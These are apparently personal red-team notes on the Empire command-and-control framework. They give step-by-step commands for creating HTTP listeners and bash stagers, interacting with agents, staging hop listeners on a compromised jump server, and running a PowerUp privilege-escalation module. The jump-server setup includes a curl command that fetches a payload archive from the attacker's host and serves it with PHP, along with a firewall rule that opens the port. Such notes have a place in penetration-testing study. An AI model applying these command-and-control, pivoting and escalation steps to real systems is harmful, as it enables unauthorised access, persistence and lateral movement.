C2

There are many different C2 frameworks. They can be hosted in the cloud for collaborative red teams

Empire

Empire components:

• Listeners are well... listeners. They listen for a connection and facilitate further exploitation
• Stagers are essentially payloads generated by Empire to create a robust reverse shell in conjunction with a listener. They are the delivery mechanism for agents
• Agents are the equivalent of a Metasploit "Session". They are connections to compromised targets, and allow an attacker to further interact with the system
• Modules are used to in conjunction with agents to perform further exploitation. For example, they can work through an existing agent to dump the password hashes from the server

Listeners

$uselistener http
$set Name CLIHTTP
$set Host 10.10.14.8
$set Port 8000
$execute
$listeners

{% hint style="info" %} Stop a listener using kill CLIHTTP {% endhint %}

Stagers

Stagers are essentially Empire's payloads used to connect back to the C2 server and create an agent.

Linux Machines

01usestager multi/bash
02set Listener CLIHTTP
03execute

Agents

Upload and run payload on target machine and check

01agents
02interact [ID]
03help

Hop Listeners

Hop listeners create files to be copied across to the compromised "jump" server and served from there. The files contain instructions to connect back to our C2 listener

01uselistener http_hop
02set RedirectListener CLIHTTP
03set Host 10.200.101.200                <--- compromised webserver IP
04set port 47000                         <--- above 15000

Hop Listener Stager

01usestager multi/launcher
02set Listener http_hop
03execute

Jump server (compromised webserver) setup

On Attacker machine

01cd /tmp/http_hop
02sudo zip -r hop.zip *
03python3 -m http.server 80

On jumpserver

01mkdir /tmp/hop-adot8 && cd /tmp/hop-adot8
02curl http://10.50.102.164/hop.zip -o hop.zip
03unzip hop.zip
04php -S 0.0.0.0:47000 &                <-- Serves on php payloads (php must be installed)
05firewall-cmd --zone=public --add-port 47000/tcp

Execute Payload on internal target

Modules

PowerUp Invoke-AllChecks example

01usemodule powershell_privesc_powerup_allchecks
02set Agent [ID]
03execute
04agents
05intereact [ID]